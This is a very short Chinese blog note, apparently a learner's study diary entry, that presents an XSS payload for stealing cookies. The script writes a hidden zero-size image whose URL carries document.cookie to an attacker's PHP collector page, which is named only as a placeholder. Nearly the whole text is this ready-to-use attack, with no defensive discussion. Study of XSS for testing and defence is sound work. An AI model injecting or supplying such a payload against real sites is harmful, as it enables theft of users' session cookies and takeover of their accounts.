该代码为接受cookie的php网页
盗取cookie的xss语句:
<script>document.write('<img src="接受cookie的php的URL(以.php结尾)?cookie='+document.cookie+'" width=0 height=0 border=0 />');</script>
标签:xss,php,第三天,write,盗取,cookie,随笔,document
来源: https://www.cnblogs.com/EndlessShw/p/14672969.html